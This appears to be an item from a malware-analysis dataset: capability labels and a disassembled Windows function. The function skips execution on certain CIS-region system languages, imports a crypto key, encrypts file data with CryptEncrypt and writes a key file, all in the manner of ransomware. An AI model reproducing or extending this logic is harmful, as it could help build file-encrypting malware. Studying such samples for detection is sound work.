Function at 0x404b33
Capabilities:
Encrypt or decrypt via wincrypt
Get common file path
Get file size
Identify system language via api
Query environment variable
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc18
push ebx
push esi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x43f
cmp ax, cx
je 0x404e77
add ecx, 0xffffffe4
cmp ax, cx
je 0x404e77
mov ecx, 0x428
cmp ax, cx
je 0x404e77
add ecx, 4
cmp ax, cx
je 0x404e77
mov ecx, 0x440
cmp ax, cx
je 0x404e77
add ecx, 4
cmp ax, cx
je 0x404e77
mov ecx, 0x82c
cmp ax, cx
je 0x404e77
mov ecx, 0x42b
cmp ax, cx
je 0x404e77
call fcn.00404182
call fcn.004040c3
mov ecx, 0x401b38
call fcn.0040412d
mov ecx, 0x401bb8
call fcn.0040412d
mov ecx, 0x401ad8
call fcn.0040412d
call fcn.00404280
call fcn.00403a3b
mov dword [0x40500c], eax
test eax, eax
je 0x404e77
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0x4035dc
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 4], ebx
cmp ebx, 0xffffffff
je 0x404cc5
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, esi
call fcn.00404025
mov edi, eax
test edi, edi
je 0x404cb9
push 0
lea eax, [ebp - 8]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea ecx, [ebx + 1]
call fcn.00404025
mov ecx, eax
mov dword [0x405008], ecx
test ecx, ecx
je 0x404c90
push ebx
mov edx, edi
call fcn.0040404e
add esp, 4
mov byte [ecx + ebx], 0
push 0x405004
push 0
push 0
sub esi, ebx
lea eax, [ebx + 1]
dec esi
add eax, edi
push esi
push eax
push dword [0x40500c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov ecx, edi
call fcn.00404039
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404e2e
call fcn.00403acd
mov edi, eax
test edi, edi
je 0x404e2e
push 0x405004
xor ebx, ebx
push ebx
push ebx
push dword [edi + 8]
push dword [edi]
push dword [0x40500c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
call fcn.00403a7e
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x404e1c
mov edx, dword [edi + 4]
lea ecx, [ebp - 0xc18]
mov dword [ebp - 0x10], ebx
mov ebx, dword [edi + 0xc]
push ebx
call fcn.0040404e
xor ecx, ecx
add esp, 4
mov dword [ebp - 4], ecx
test ebx, ebx
je 0x404d9b
mov edx, 0x1f5
sub ebx, ecx
mov eax, edx
cmp edx, ebx
sbb esi, esi
inc esi
cmp ebx, edx
mov edx, dword [edi + 4]
cmovb eax, ebx
add edx, ecx
push eax
lea ecx, [ebp - 0x210]
mov dword [ebp - 0xc], eax
call fcn.0040404e
mov dword [esp], 0x200
lea eax, [ebp - 0xc]
push eax
mov eax, ecx
push eax
push 0
push esi
mov esi, dword [ebp - 8]
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
lea ecx, [ebp - 0xc18]
add ecx, ebx
lea edx, [ebp - 0x210]
call fcn.0040404e
add ebx, dword [ebp - 0xc]
mov edx, 0x1f5
mov ecx, dword [ebp - 4]
add esp, 4
add ecx, edx
mov dword [ebp - 0x10], ebx
mov ebx, dword [edi + 0xc]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jb 0x404d26
mov edx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc18]
call fcn.00403956
xor ebx, ebx
mov dword [0x405008], eax
pop ecx
mov eax, ebx
inc eax
cmp eax, 0x800
jb 0x404db4
push esi
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebx
push 6
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404e1c
push 0
lea eax, [ebp - 8]
push eax
push dword [0x405008]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
inc eax
push eax
push dword [0x405008]
push ebx
call esi
push 0
lea eax, [ebp - 8]
push eax
push dword [edi + 8]
push dword [edi]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [edi + 0xc]
mov ecx, dword [edi + 4]
call fcn.00404068
mov ecx, edi
call fcn.00403bc3
push 0x405010
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov byte [0x405001], 1
call fcn.00404a1d
push dword [0x405004]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebx
push dword [0x40500c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ecx
call fcn.00404397
pop ecx
call fcn.0040432a
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
jmp 0x404e71